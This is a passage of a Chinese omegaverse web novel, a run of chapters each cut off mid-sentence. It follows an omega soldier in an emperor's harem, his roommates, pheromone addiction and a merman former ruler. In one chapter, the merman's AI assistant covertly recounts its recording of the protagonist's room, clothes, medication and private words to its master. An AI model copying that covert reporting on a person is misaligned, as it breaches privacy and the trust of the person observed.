萨瓦仗着个头高,抬眼瞧了瞧白翎头顶,丝白色的发间有一枚不起眼的小夹子,隐隐约约可以看到被夹住的一根深灰蓝绒毛。 这是冠羽,鸟纲异种人的特殊性征,和海洋族下颚隐藏的腮一样,可以用来甄别血统。 不过有些血统混杂,毛色不健康的,不希望被人认出,就会用发卡藏起来。 萨瓦在猛禽列表里迅速筛除,最后停在一个不太可能的选项上。 “游隼,你是后天白化游隼?奇怪了,我怎么没在隼科家族里见过你,虽然游隼独来独往,但不至于断腿了也没族人出面管,除非你跟他们闹翻脸了……” 萨瓦思绪一动,“难道你是复辟派——嗷!” 他突然嗷呜了一嗓子,激动得站起来了。 臭鸟!踩他脚。 讲师狐疑地看过去,萨瓦狠狠瞪了白翎一眼,忍着痛抬头胡诌道: “我想回答这一题。” 讲师惊讶得看了他一眼,孺子可教,看来这家伙还有救。 “那好,请这位同学说说,一个优秀omega的择偶标准应该是怎样的?” 萨瓦:“脸蛋要美,功能要多,续航要长,招子要亮,别在我心情不好的时候来犯贱。” 教科书式的反面教材。 讲师憋红了脸,最终喷出五个字:“……滚出去罚站!” 萨瓦耸耸肩,拿着包就往外走,出去前恶狠狠对白翎做出口型: 晚,上,别,睡,太,死,呵呵。 白翎竖起笔直的中指,目送他远去。 这梁子,算是结下了。 · 在食堂吃完一顿没有荤腥的中饭,白翎有些冒虚汗,便去盥洗室洗洗脸。 他可能和A性素有仇,回回吃,回回都不耐受。 这么个破身体,生育力仅为D级,生殖腔破烂不堪,居然挑嘴得很,对人工广谱信息素嫌弃得要命,翻江倒海想把药片吐出来,闹着要出去打野食。 白翎心烦意乱,用凉水洗了把脖子和脸,以毒攻毒,靠着寒凉把生殖腺的本能压下去。 以前他可没有这么“娇气”。 一不舒服就想要安慰,这样下去绝对不行! 得控制住,别去想那些有的没的…… 脑子里这么警告着,手指却不自觉去摸口袋。里面有房卡,一小块牛肉,还有一根长长的金发…… “喂,把你的牛肉干交出来,我看见你兜里有!” 一只蓝色头发O突然拦住他,嚣张地命令。 白翎瞥他一眼:“凭什么?” 灰喜鹊挺起胸脯:“没听说过我们雀雀帮吗?厕所是我们的地盘,你得交保护费。” 白翎心情正差,最烦这种仗势欺人的。他直接把灰喜鹊拽进厕所隔间里修理一顿,反向操作抢了他从别人那收来的一堆零食。 他有一下没一下抛着手里的面包,冷笑:“保护费是吧?我收了。” “你……你给我等着!”灰喜鹊气跑了。 接着一分钟不到,厕所门再次被踹开。 白翎斜起眼睛,从镜子里看着乌泱泱涌进来的五六个人,停留在一张熟悉的面孔上,便勾了勾唇,弹着指间的水,漫不经意道: “怎么,来了这么多人给我交保护费啊。” 灰喜鹊顿时跳起,炸着冠羽拽拽旁边的大个子: “鸦鸦老大,就是他看不起我们雀雀帮!治他!” 当首的omega身材高挑,乌发亮如鸦羽,显然是鸦科中的王者——渡鸦。 渡鸦叼着食堂里的牙签,幽暗的眼珠上下打量着白翎,咧开嘴唇: “就是你小子口出狂言,让我们雀雀帮给你交保护费?” 白翎瞟了灰喜鹊一眼,知道这 14. 小嘤嘤 《人鱼陛下是战利品》全本免费阅读 成瘾。 听到这句疑问,白翎内心打了个突。 他昨晚突然低烧的时候,不是没有怀疑过这一点。 林医生开药之前,也反复嘱咐过他,不要和alpha过度接触。 不过这个【过度】在医学上是有明确标准的,指的是双方身体距离小于20cm,时长超过150分钟的直接肌肤与汗液接触,如拥抱,亲吻和各种形式的繁殖行为。 他确实见过凯德那个alpha,远远地打了个照面,根本算不上接触。 所以白翎仔细阅读服药禁忌之后,便彻底排除了药物副作用,把原因通通归咎于跨入二段分化带来的不适感。 白翎冷冷道:“你想太多了,我不可能对任何alpha成瘾。” 不仅是生理,心理上也不可能。 萨瓦嗤笑一声,毫不留情道:“你这样的omega我见多了,全身上下最硬的就是这张嘴。你不信我的,我也不劝你。等你过几个小时被戒断反应折磨得神魂恍惚,自然就知道厉害了。” 说完,他便径直离开,留下心神不宁的白翎。 萨瓦并没有故意吓唬白翎。 他自己十四岁就分化完毕,算是很早的一批,后来上的学校也是A、O分开授课,见惯omega青春期各种危机四伏的烦恼,更何况…… 萨瓦眸色骤深,耳羽危险地压低。 他自己也曾被alpha设计成瘾过。 那时候他才上高中,对方贪图他家族权势,故意让他吃下A性素再接近他。 他成瘾之后茶不思饭不想,时而如行尸走肉,时而又抓狂挠墙,即便心理再厌恶,身体也会控制不住想冲出去。神志不清时,甚至说出“想和对方结婚”这样离谱的话。 幸亏那个人渣的能力只是A级,而他是各项数值超S的高等级O,对方的信息素控不住他。最后他被家人关在房间,发了一个星期的疯,出来后又好好调养了一阵,这才戒掉这种恐怖的瘾。 否则,严重成瘾只有一种结果可解—— 被alpha标记。 · 寝室里。 临近傍晚,恒星光芒渐微,气温骤然降至零下20度。窗边镶了一圈雪,厚度还在继续增加,白茫茫一场大雪盖下来,首都星的繁华已然寂寥无声。 白翎握着凉透的水杯,站在窗前瞭望。 通讯器“嗡嗡”地震动起来,白翎下瞟一眼,是林医生上线正在给他回消息。 [林医生]:你和alpha接触了?对方是什么等级? [白翎]:实际等级不清楚,但应该没我高。 [林医生]:如果等级不高,而且距离较远的话,可以不用担心,正常alpha的信息素影响范围不会那么大的。一段分化为为生殖腔发育,二段是内外腺体发育,你的生殖腔本来就受过伤,现在突然进入二段,身体消耗太大了。这一周一定要注意补充营养,有条件的话,最好多吃肉蛋奶。 白翎打字的手指顿了下,停留在“肉蛋奶”一行,心底某处痒了痒,莫名其妙想起老太后的大……牛肉。 他冷静了下,为防万一,还是问道: [白翎]:如果真的成瘾了,有办法解决吗? [林医生]:没有。 言简意赅的回答。白翎心头一颤,纤细的眼睫垂了垂。 [林医生]:好吧,如果你意志力够强的话,可以在纯omega环境里自行戒断,短则两三天,长则一周,每日三倍量服用A性素来抵抗即可。但我劝你,不到万不得已的情况,千万不要擅自采用这种方法,特别是在没有监护人看守的情况下。 [林医生]:而且,【敲黑板!】人工A性素吃多了会损伤肾脏,不要全指望它。毕竟它只是50块一瓶的广谱药,撞上什么昂贵的S级SS级的alpha信息素,大概率会白瞎。 [白翎]:懂了,出了事就多吃点。 [林医生]:……给我好好再读一遍啊你! 白翎不理会医生的抓狂,发了句“谢谢”作为结束,就丢下通讯器。 他望了望远处平民区的灯火,模糊摇曳,仿佛随时会熄灭。这时,耳边响起了诺思带着小颤音的感慨: “好……好冷啊!教室冷就算了,怎么连屋里的暖气都不热了,人家都快变成急冻海……海鲜了。” “把羽绒服拿出来穿不就得了。”这是萨瓦少爷的声音。 诺思尴尬地笑了两声,不好说自己和白翎都是从监狱转运出来的,被允许带的个人物品很少。不可能像萨瓦这种直接进宫的,家里还给准备了满满一箱子的衣服鞋袜。 对哦,按理说萨瓦家世这么好,怎么会跟他们挤在小屋子里? 诺思好奇问:“萨瓦,你家有功勋,怎么不去住单人间?” 萨瓦脸色一黑:“为了避开某些讨厌的beta。” Beta?诺思想起刚来时小海鲜群里流传的顺口溜,渣O大波浪,坏B蓝长直,于是他就随口一玩笑: “不会是蓝长直的beta吧。” 萨瓦:“…………” 萨瓦咒骂了一声,单手扒住上铺沿,一个手臂紧绷借力,就跃上去扭头睡着了。 诺思暗中吐了吐舌头,看出对方不愿多谈,便转头想和白翎说话。 这一看,却发现他们室花穿个运动小短裤站在窗前,笔直流畅的大白腿露着,脸上淡淡的没什么表情,跟个温度传感器坏了的机器人似的。 诺思:“……鸟鸟,你好抗冻啊。” 白翎攥了攥手心渗出的冷汗,不动声色道:“还好,我习惯了,而且等会还要充电。” 诺思知道他要给义肢蓄电,便把大灯关了,把限电功率都让给他用。 但或许是风雪的影响,今天的电压极其不稳定,桌上的台灯一闪一闪的,充电器也时不时发出“滴嘟”的断电提醒。 白翎坐了半个小时,才只充进5%的电。 他心头跳得厉害,浑身骨头和肌肉都开始酸痛,看着不见上升的电量,更觉得焦虑烦躁,于是索性解开大腿上的扎带,把义肢拿下来。 不过拿的时候,他却发现一道奇怪的痕迹—— 义肢的脚踝靠后处,似乎左右凹下去两块。 对着光观察,凹痕处有细细密密的圈纹,仿佛海面漾开的涟漪。 白翎蹙起眉头,不知道这是什么时候磕到的……他回想了一下,脑中忽然浮现出人鱼欺身压下,单手捉住他脚腕的画面。 他脸上腾得烧起来,义肢从本就颤抖的指尖掉了下去。 那是两枚指纹。 一枚拇指,一枚食指,仿佛两道钢印,深深刻在他这身破铜烂铁上。 “我草……” 这个骚东西,破铁都能捏个窝窝! 白翎低声骂了句,匆忙捡起义肢,摆在桌下充电,再拿上毛巾低着头,逃也似的,单腿一跳一跳进浴室去了。 他没有发现,身后上铺的小缝里,正伸出一只摄像头,对准他不见阳光的大腿内侧,放大焦距。 “咔嚓”—— 萨瓦偷拍得手,立即转身面对墙壁,虚眯着眼睛开始研究。 这腿上写的啥?……出入? 出入个啥,出生入死?出入请戴T? 那两个字正好卡在大腿断截处,再往下,只有空荡荡的空气。 萨瓦在军校里浸淫多年,也曾多次跟着长官上前线支援,一看白翎那板正俊凛的身段,就知道这家伙绝对在军中待过,而且服役时间还不短,自然对他的来意产生了怀疑。 ——怀疑这家伙是某个beta派来监视自己的! 别问,问就是大雕鸮祖传的直觉。 萨瓦仗着自己前帝国军事五校联合学生主席的威名,支使一群小弟去搜集消息,可转了一大圈,各个空手而归。 【群名称:暗夜小霸王——飞天猫猫头军团】 [雪鸮-老子不叫海德薇]:老大,您给的这线索也太模糊了,白头发的鸟那么多,五大军校一张网撒下去都能抓到百来只,我上哪儿给您大海捞针去? 萨瓦不耐烦地回道: [给你一头槌]:不是跟你们说要找隼科吗?军事情报学怎么上的,重修! [乌林鸮-大脸小嘤嘤]:(弱弱比手指)可是……隼科家族的基本都进第一军团了,空军 15. 正牌监护人 《人鱼陛下是战利品》全本免费阅读 萨瓦以为自己接下来会被狠揍一顿。 然而,白翎只是轻瞟一眼,删掉那张偷拍图,再丢回去。他冷冷道:“下次别再被我抓住。” 萨瓦下意识松了口气。这家伙好像没有表面上那么难相处,挺会恩威并施的…… 嗯?恩威并施?这词不对吧。而且刚听到“小白花”三个字还眼神凶狠,现在怎么就突然放过了他? 萨瓦满心狐疑,看着白翎扶住墙,一跳一跳地出浴室。朝那背影哼了一声,萨瓦这才捡起通讯器,瞄一眼,却瞬间面红耳赤。 屏幕还在刷新消息—— [雪鸮-老娘不叫海德薇]:我才不信是小白花,人家肯定只是长得漂亮。况且,老大以前不是最崇拜那群老兵了吗?您要是没进宫,去了深空军团,估计现在还得叫人家一声“教官”呢。 萨瓦磨起尖牙,愤怒打字。 [给你一头槌]:我才不会叫那家伙教官,永远别想! [给你一头槌]:不是小白花,那就是独脚兽食人花! 这朵食人花强归强,脾气也犟,丁点都不听人劝。 没过两个小时,白翎果然变得脸色苍白。他胃里难受得要命,严重的神经痛让他躺着都止不住打颤,时而惊厥,时而胸膛起伏着抽气——各种要命的戒断反应,接踵而来。 “鸟鸟,鸟鸟!”诺思打开胶囊舱小门,焦急唤了两声,扭头道: “萨瓦,咱们得送他去医务室。” “不行。”萨瓦一口否决。 诺思急得想说,这都什么时候了,你俩就别闹别扭了。 萨瓦却意外地冷静,压低声道:“你没看到吗?他早上带着一身alpha信息素回来,肯定是跑出去见其他A了,就是不知道是医生还是护卫。但不管怎样,只要进了宫,我们这些O就是暴君的私产。要是闹大了,他绝对吃不了兜着走。” 诺思这会也反应过来,着急问: “那怎么办?” 萨瓦掰过白翎颤抖的手指,让手腕上的禁制环朝向自己:“当然是先联系他的监护人。” 说完,摁下那枚红色的紧急呼叫键。 Omega的禁制环警报可以瞬间触发监护人的手环震动,不管距离多远,或者是否睡着,只要alpha人没死,必定能即时接通。 如果A故意不接,这玩意会像生日蛋糕的开花蜡烛一样没完没了震个三天三夜。 萨瓦从那份不掺丁点淀粉的特供级牛肉干推测,这家伙的监护人绝对非富即贵。 然而接通后,那边却给了他一个意料之外的答案: “什么劳什子监护人,老子早就不干了,让那个O哪凉快哪待着去。再打通讯过来,小心我向反诈app举报你们!” 萨瓦破口大骂:“什么玩意,就你,也配当深空军团战争机器的监护人?” 白翎蜷成一团,听到了熟悉的词汇,不安地颤了颤眼皮。 诺思也满脸震惊,但又马上想起什么。思虑再三后,他把萨瓦叫到一旁,有选择性地坦白道: “呃……说来话长,其实那个禁制器不是鸟鸟本人的。” 萨瓦愣了下,迅速接受事实,并且更不爽了:“我就知道这家伙是隐瞒身份进来——”监视我的。 诺思看他莫名火冒三丈,赶紧转移话题:“但是我们可以从禁制环的【最近三天访问的alpha】功能来找他昨天密切接触过的A。” 萨瓦撇撇嘴,熟练地调出虚拟界面,两颗脑袋同时凑上去,定睛一看—— 列表一片空白。 活见鬼了这是? 诺思哑然,排除万分之一的禁制环出错情况,剩余的唯一可能是…… “啊这……不会吧不会吧……” 萨瓦抱着臂冷笑一声:“我说这么狂呢,原来是背着我们偷偷去侍寝了。” 众所周知,在整个帝国里,唯一不用佩戴禁制环的只有皇帝本人。而他们又在皇宫里,白翎一夜未归是去和谁温存去了,答案一目了然。 诺思咬着指甲盖十分纠结:“不对啊,我总觉得鸟鸟对那位一点兴趣也没有。” 刚见面就骂TGK不如狗呢,这是可以说的吗? 萨瓦根本不信,翻了个白眼吐槽道:“不是皇帝,还能是谁?总不能是伊苏帕莱索的鬼魂对他鬼压床了吧。” “——嗯哼。” 一道声音毫无预兆地插话,瞬间把两人吓得白毛汗竖起,齐齐往后一跳,“谁?!” 卧了个大槽,不会真有鬼吧? 回头看去,一只扫地机器人正歪着脑袋往门里探,镜头冒出两道诡异的红光。 大晚上的,机器人不回充电桩待机,怎么会出现在这里?萨瓦和诺思面面相觑,头顶全是问号。 这时,小机器人的镜头里忽然冒出两颗旋转的星星,表示友好。它投降似的举起机械臂,以示自己手无寸铁,只拎着环保纸袋,然后探头探脑地问: “你们好,请问小鸟在吗?主人让我送东西给他。” 萨瓦自认为是“大鸟”,便指了指里面。刚才他和诺思那一嗓子嚎得太大,竟然让白翎清醒了不少。 现在,白翎正扶着额角坐起来。他从枕头下摸索到A性素的瓶子,倒了两颗,抿抿唇,又多多倒三颗在手心,一次性全吞下去。 他揉了揉湿黏在一起的睫毛,呆了几秒钟,才认出AI,然后又发现禁制环的界面亮着,马上眯起眼睛,怀疑地望向萨瓦。 萨瓦哼了一声,背过头去。 诺思小声解释:“你别介意。是我们看你不舒服,想联系一下你的监护人。” 在omega分化期内,除了理应履行【镇定】与【保护】的义务,监护人的作用更日常体现在心理安抚上—— 作为年长者,支持、鼓励和安定你的心。 从某种意义上来说,监护人是唯一会无条件站在你这边的人。 极高的道德标准和素质要求,使得上世纪成为监护人之前必须经过培训,持资格证上岗。 当然,与努力付出对等的是,被omega肯定的优秀监护人可以稳定获得社会信用点,如果能拿到均分6.5以上,在升职加薪上都会大有助益。 不过,近些年监护人的素质水平断崖式下跌,这也是事实。 “我的监护人……”白翎眉心蹙起,扶着钝痛的脑袋,嘴唇蠕动许久,才缓缓道: “这些小事,不需要通知他。而且我和他关系也不亲近,他只是我在网上找的担保人,好心替我签署分化期omega出行证明罢了。平日里,我和他根本没有联系。” 至少在前世,从十九岁到二十九岁这十年里,他们没有太多交流。 真正和D先生熟络起来,也是三十岁之后的事了。按照时间线,还早,所以他重生以来一直将这件事搁置在了一边,没有去想。 萨瓦莫名上火:“没联系?所以就是0分监护人咯?” 白翎却眉头一蹙,下意识反驳:“他是9.9分,我打的。” 前世连续打了22年,每个月都没落下过。 萨瓦扭过头气不过地嘀咕:“被人丢了还给人打分呢,连条好义肢都不舍得买,丢我们猛禽的脸……” 16. 但这是饮鸩止渴 《人鱼陛下是战利品》全本免费阅读 白翎不像正常途径成长的omega。他没有和alpha感情交流的经验,也不知道这句话像极了监护人行使职责的一环—— 【负责地关注O的身体情况,哄慰她/他说出真实感受】 白翎一时间不知该怎么回答,说说?能说什么呢……他不擅长描述自己的状态,对他而言,一般情况下只有“还行,能动,和动不了”三种选项,但回答一句“还行”,未免太敷衍了。 “血压110/65mmHg,体脂9%,心跳速率三分钟前是60,接到您的电话后是100。” 他正经地念出禁止环监测数据,态度仿佛在报告军务。 “接到我的电话后……”郁沉在那头愣了愣,忍不住扶着额头弯起嘴角,原本如死水般的情绪都变得愉快了。他轻柔回答说: “等一下,让我拿笔记下来。” 白翎愕然张了张唇……啊,怎,怎么突然弄得这么认真? “请你再报一遍数据。”通讯里有纸张翻页的声音。 白翎捏着手心的热汗,连忙说:“不用专门记下来的,数据什么的乱七八糟……要不然我直接发给您吧?” 说完,他自己都面无表情默了下,发身体数据是什么操作,好奇怪。 郁沉微微笑着,照盘接收道:“那你输入我的通讯号。” “我的通讯器在屋里,我回去拿。”白翎没来得及深想,转身准备回宿舍,却被郁沉叫住了: “不是通讯器,我的意思是,加在你的禁制环上。” 白翎讶异地扬起眉毛,下意识说:“但是禁制环只能加一个紧急联系人,就是我的……” 监护人。 “把他删了。”郁沉口吻柔和,话语却是与之相反的直截了当,宛如一道不容推辞的命令。 白翎想了想,这只禁制环原本就不是他的,上面那个监护人也不认识,删就删吧。 他动动手指输入了人鱼给的编号,屏幕自动跳出提示【是否进行覆盖?】,他毫不犹豫点了【是】。屏幕闪了一瞬,新的呼叫边栏瞬间强势挤掉了之前的,稳稳当当占据整个且唯一的列表。 郁沉听他安静了一会,猜测他在操作,便摩挲着手上的扳指,向前微微倾身,问道:“覆盖成功了吗?” “弄好了,还看到了您的名字,郁沉……” 白翎对着[EmergencyContact]那栏不小心念出了声。冷质清冽的音调搭载着无形的电波,在郁沉的书房里婉转回响。 对于他的顺从,郁沉一时间没有说话。 脚镣上传来丝丝麻麻的刺痛,提醒着他勿动妄念,他却指尖动了动,忽然侧身弯腰,伸手按向脚镣后跟的指纹锁。 随着轻轻的“滴”声,金属镣铐应声滑落到脚背。 他捏着它丢到桌子下面,再支起腰身,把通讯器换成耳机,夹在了右耳骨上,以一种放松享受的姿态陷进了天鹅绒椅背里。 也许是雪天气氛合适,他难得放下了克制,想放纵一次。 “我收到了你放在字条里的糖,我很喜欢。” 白翎不争气地心跳快了一瞬,总感觉今晚的郁沉有些不一样,语气更加温情,更加引人沉溺。 即便他穿着短裤,站在凉气嗖嗖的楼梯间,被窗缝漏出的冷风吹得不自觉打了个颤,可这道靡靡慵懒的嗓音萦绕在耳畔,一股洇热就仿佛从他耳廓慢慢烧到了全身。 白翎被那股奇怪的骚动引导着,话语自然流出唇间:“您喜欢就好,下次我发了工资再买。清晨时您在睡觉,我不方便打扰,就写了张字条。” 郁沉缓缓解开了领口最上端的两颗扣子,一双修长骨指上,原本透明苍白的指甲,渐渐洇染成危险的深黑,“如果你想的话,下次可以直接来主卧找我,没有关系的。” 白翎觉得刚才吃的那5颗A性素的药效,正随着分秒流逝,断崖式地下跌减弱。 他又开始明显感觉到心跳提速,呼吸不畅,仿佛有一条看不见的线,正拴在他的四肢上,试图牵引着他奔向未知的深渊。 白翎额角抵在玻璃窗上,艰难地思考了下他的提议,否决道:“不行。” “为什么不行?” “因为……您最好不要这样做,对我一个才认识一周的陌生人太过信任,您应该打起防备心。” 郁沉得到答案,舒适而愉悦地笑了。没有防备心的到底是谁? 窗子上的水凝珠濡湿了柔软的白发,白翎疑惑地问:“您为什么笑?” “想揉揉你脑袋上的小羽毛。” 我的小羽毛?白翎下意识伸手摸了摸,那枚冠羽也沾上了水珠,他随便抓了抓头发,却突然被一种浓重的空虚感摄住了。 在那一瞬间,他脑海里莫名幻想出一只大手,并不断为之丰富种种细节。深深的掌纹,干净的指缝,每根长指都有两段粗突的骨节,手背静脉是淡淡的青色,攀附在乳白大理石色肌肤上,宛如一片被浸滩雪原上淌涌的河流。每当这只手插.进他的发间,轻柔揉弄,他都会感觉自己被河海冲刷了一遍,躺在焦灼的浅滩上,干渴难耐,好似成瘾…… “您不能如此纵容我,会让我养成坏习惯。”白翎眼睫低垂,焦躁地在原地踱来踱去,垂在身侧的手时不时痉挛。 好想,好想被…… 打住!一定是A性素没有吃够量,等会要加倍再吃一遍。 郁沉放慢声调问:“怎样的……坏习惯?” 白翎坐到楼梯上,无措地绞紧手指:“您让机器人送东西过来,时间一久,我就会像老式座钟里的布谷鸟一样准时在门口等着,这样不妥当。” 郁沉情不自禁从高椅里起身,指腹滑过楠木光润滑腻的桌沿,宛如在抚摸柔韧年轻的肌体轮廓,他围着桌子慢慢走着,似乎在思考,又或是犹豫。最后,他停下脚步,微微屈膝长腿,左手青筋凸起撑着桌沿,整个人靠坐在宽厚的办公桌面,身姿颀长,金发粲然。他放轻引诱的声音: “你现在有空吗?我想请你喝杯红茶,或许来上那么一两块饼干,你送我的饼干。” “茶是什么,冲剂吗?” “不是,是烘焙过的茶叶,我春天时采摘花园里的茶树做的。”每一句话,都仿佛长着钩子。 “您有个花园?在哪?” 那是小鸟略带惊讶的声音。郁沉勾起嘴角,没有鸟类会不喜欢丰盈的花草。 “在浴池后面,晚上有夜香花开,我可以把喝茶的桌子设在花盆旁边。” 在这块人造大陆上,绿色植被本来就稀少,各种古地球时期的花草更是只能花高价在植物园看见。 白翎忍不住想象了下热腾腾的清茶和幽暖的花香,控制不住想要答应:“ 17. 我很喜欢您 《人鱼陛下是战利品》全本免费阅读 和郁沉挂了通讯,白翎恍惚地回到寝室。 心底萦绕着一道声音,告诉他傍晚六点是极其重要的时间,可他怎么也想不起来为什么重要。 哦……六点,好像是他小时候在广场上等奶车的点? 但这也不对,他对奶车的记忆始终是温馨柔软的,而刚刚乍一听到郁沉的声音,他心里却不受控制地翻涌出酸涩、失落和难过,似乎有什么期许已久的心愿,覆灭了…… 萨瓦看他失魂落魄的,故意在他眼前挥了挥手,揶揄道: “被9.9分的监护人哄了一阵子,身上舒服多了吧。” 不料白翎神经反射还在,挥开萨瓦的手,再抬眸时已是一片清明:“那当然。” 萨瓦暗中松了口气,同时也拧起眉头: “不是我说你,既然有靠谱的监护人,怎么还吃A性素?你难道不知道alpha之间相互排斥?特别有些占有欲极其强烈的,连人工胶囊都要吃醋,觉得你吃药,就是摆明了他能力不行,信息素满足不了你,回头发现了肯定要把你捉起来折腾。” 这也是萨瓦为什么不喜欢alpha的原因,领地意识太强,不好管教。 “不会的,他不是那么计较的人。”白翎下意识反驳。 萨瓦双手交叉在后脑,打了个哈欠,“那行吧,他看起来很爱你。就凭他贿赂我两瓶牛奶,我也勉强给他打个优秀。” 白翎不自觉弯唇想笑,过了几秒才反应过来不对。 萨瓦说的“监护人”,好像是郁沉?萨瓦应该是误会了。 可是不知道出于怎样的心情,白翎内心挣扎了半晌,抿着下唇轻轻“嗯”了一声。 生平第一次,在监护人的问题上,撒了谎。 他没办法控制住那种想法……假如郁沉是他的监护人,假如真的,一直有人在远方默默关爱自己…… 哪怕只有几天也好,他想假装自己的监护人,很爱自己。 “我也……很喜欢他。”白翎侧过头去,艰难地喘了两道息,仿佛被无端的感情堵在胸口,不吐出来就会将他摧毁。 他明白,那是撒谎的愧疚,但如果自己稍微坦白一些,便能减轻罪孽,得到些许谅解,谅解自己对于不配得到的东西的……妄念。 萨瓦看了他一会,见他纤细白皙的脖颈在情绪波动的低喘中,似乎随时会折断。萨瓦很了解,这是信息素上瘾期omega的常见生理反应,是再坚韧的意志也抵抗不了的本能。 即便人形武器也不行。 “行了行了,真喜欢他就在他生日的时候多下两个蛋,烤成布丁喂给他吃,他一定会万分感激你的。”萨瓦不会安慰人,就拍拍白翎的肩膀,按照自己习惯真诚建议。 白翎:“……” 他脱离omega群体太久,差点都忘了正常O的生活有多离谱和下.流了。 时间不早了,白翎把AI送到门口,又仔细嘱咐两句,让它把郁沉寝宫的备用电源打开,以防外部电压不稳,刚翻新好的电路再次烧坏,弄得那条老鱼在寒夜里受冷受冻。 AI刚搭上扫地机器人专属的运送轨道,就迫不及待举起钳子给主人报告: “喂?么西么西?我已经完美完成任务。” 人鱼沉静的声音问道:“有什么发现吗?” “因为您看不见,我就一一描述给您听。喔,您想听什么风格的,我这里有托尔斯泰,马尔克斯,雪莱,曹雪芹……鉴于外面正在飘雪,我给您推荐西伯利亚风,‘噢我的主人,您一定会赞成,将我们可爱的小鸟布丁带回家,把他热乎乎地吃下肚子’——” 郁沉:“……调回白描模式。” “——模式转换中,Action:他住在等级最低的小宠四人间,室内温度3°,穿着黑色镶白边的运动小短裤,左膝盖冻得通红,上半身是洗得发白的灰色圆领T恤,锁骨清晰。桌子上放着《omega道德手册》,小鹰牌人工A性素,还有——” “A性素?”郁沉重复一遍,指节敲了敲桌子。 他昨夜把白翎锁在床上,只听到小年轻说要找药,出于对omega隐私的尊重,他没有当场追问,所以并不知道白翎在吃什么药。 现下了解到情况,他心中不由得一紧。 “是的,我刚去时他正在吃,坐在用您的西裤垫成的小窝里,在手心里倒了五颗。” 郁沉攥住手中的钢笔,啪嗒,单手掰成两段,浓黑的墨汁瞬间浸染了白色纸张。 怪不得刚才打通讯时,说话的鼻音有点黏糊,居然还偷偷用他的衣物筑巢…… 他刻意留在omega身上的保护型信息素,无疑会和药品发生强烈冲突,引起来势汹汹的成瘾效应。 怪他,没有彻底审查清楚。 AI怕遗漏细节,又重新读取一遍录像储存,找了段看起来很能满足主人养鸟爱好的内容: “小鸟对朋友说,他很喜欢您。” 郁沉推开椅子,迅速在桌洞下摸索到电击脚镣,毫不犹豫给自己重新栓上。他为自己刚才的放纵而懊悔,沉声道: “以后这种重要内容,要提到首列汇报。” AI无辜地对着手指,“我有说啊,小鸟布丁,带回家……嗯?听声音您是在开衣柜找外套?可是按照日程,您十分钟后有个线上会议啊。” “你来应付他们,我下楼去接他回来,否则,”郁沉把驼绒厚外套搭在强健的小臂处,缓缓叹息一声: “我今夜也不能安定。” AI感动得差点痛哭流涕,如果它有装机械泪腺的话,一定已经开始挥舞小手帕了。 一百多年了,我们家主人终于学会昏庸了! 谢谢你,机械小鸟,有机会我一定劝说主人包你的年费会员! 但它突然意识到一个严重的问题:“呃……让我去好像不行。” “CPU吃烤棉花糖又烧糊了?” “……不是那个问题。自从您开始接受精神补养治疗,我的运算能力也跳水式下降,目前维持在最低效率,以至于只能控制一个扫地机器人的身体。如果要我去面对您那群老奸巨滑智商200的智囊团,我必须向您申请,解除一部分算力封存。可是——” “没有可是。”门自动滑开,走廊上一盏电压不稳忽明忽暗的无主灯,将郁沉的侧颜照得巍然诡美,一抹寒风袭来,金发如暮色波涛,暗澜汹涌。 他拄着手杖大步走进远处的黑暗,声音仿佛裹卷了冰渣: “THEMIS系统解封,程度20%。” “声纹确认中……虹膜确认中……确认成功√” 扫地机器人萌萌的声音消失了,取而代之的是回响在走廊上方的凛然机械音: “欢迎回归,MyLord.” · 皇宫塔69层,水晶宫。 这里原来是人鱼王朝用来举办国宴的专用厅,墙壁用海蓝宝石铺成宏伟壮阔的海浪图,十二盏巨型水晶吊灯熠熠生辉,把整个厅堂照得如海天白昼一般波光莹丽。 现在,它却沦为了暴君的娱乐场。 满地酒液肆意横流,推杯换盏之后,众人都有些熏熏然。 王座正中央,瘫坐着暴君凯德。他脸上挂着沉醉而餍足的表情,后背伸出的六条章鱼触手正一左一右搂着两个柔弱娇媚的omega。 一群军部贵族围在旁边殷勤伺候: “听说陛下刚新得了一群美人,怎么不带出来让我们也见识见识?” “何止啊,那个雕鸮公爵家的小omega也被陛下的强大所折服,主动请缨服侍陛下呢。” “雕鸮?嘶,不会是小萨瓦那只出 18. 占领破败身心 《人鱼陛下是战利品》全本免费阅读 白翎经常会有一种错觉,觉得伊苏帕莱索搞不好是个beta。这位老皇帝信奉严律克己,把理性至上发挥到了极致,俨然一本条例缜密,没有漏洞的律法书。 以至于改朝换代后,暴君仍然不敢撼动制度的根本。 暴君无法像那条人鱼一样,游刃有余地驾驭权力。 他更像一条被栓在王座上的狗,狂躁而压抑,时时刻刻暴露alpha的劣根性—— “楼上的小宠们给我听着,我是你们伟大的王。今晚,我要举办一场狩猎活动,你们都被荣幸邀请参加……是的,作为我们的猎物。尽情高声尖叫吧!” 广播里余音刚落,电闸瞬间落下,整个宿舍区被漆黑笼罩。 Omega们的惊叫声撕开夜晚的平静,没了暖气,他们根本熬不过零下二十度的酷寒。 白翎漠然坐起,从床上随手拽起一条长裤穿上。 不管之后会发生什么,当务之急是搞到武器,而最快的办法是…… “这群龟孙,把暖气关了老子还怎么把手伸出被窝看小说?”萨瓦揉着乱糟糟的头发,不情不愿爬下梯子,“喂,臭鸟,你蹲在门边干嘛……手里怎么拿着水果刀?” 萨瓦刚想咕咕笑,却见白翎骤然开门,以迅雷不及掩耳之势,像一只猛虎扑向日常巡查的R-5机器人背后。 白翎抓住机器人肩膀,高高抬手用力向下一击,电线火花四溅,关节应声而断。他竟然庖丁解牛,在一秒内卸掉机器人右胳膊,用比机械还快的神经反射速度,完美退回门内。 萨瓦一脸震惊,看着他跟剥洋葱似的,三两下拆光那只胳膊,用里面内置的枪管,重新拼接成一柄形状古怪,勉强能看出是机枪的武器。 “这也行?!”萨瓦凌乱了两秒,马上抱着胳膊哼哼,“你这私自改装不安全,别枪没开上,把自己给炸了——” 他突然止住话头,因为白翎面无表情把枪指向他的脑袋。 萨瓦瞳孔收缩,随着暴烈的扳机声,子弹在视网膜倒影中冲出枪口,擦过脸颊,瞬间击中他身后窗外的alpha。 “卧槽,你也悠着点啊,Tiger。” 雌性游隼在民间也叫“鸭虎”。 萨瓦耍了个嘴枪,往外伸头一看,那个自以为是爬墙的alpha已经消失在风雪中。 白翎听到那声“Tiger”,偏了偏头,咔嚓利落上膛,薄唇流露出一抹微不可查的得意。 能得到宿敌的肯定,也挺不错。 走廊里响起混乱的动静,更多alpha从楼梯通道那边过来了。 白翎神色凛然,“准备一下,我们要冲出去。” “等下。”昏暗中,一罐东西划破漂亮的抛物线,被白翎下意识抬手接到。 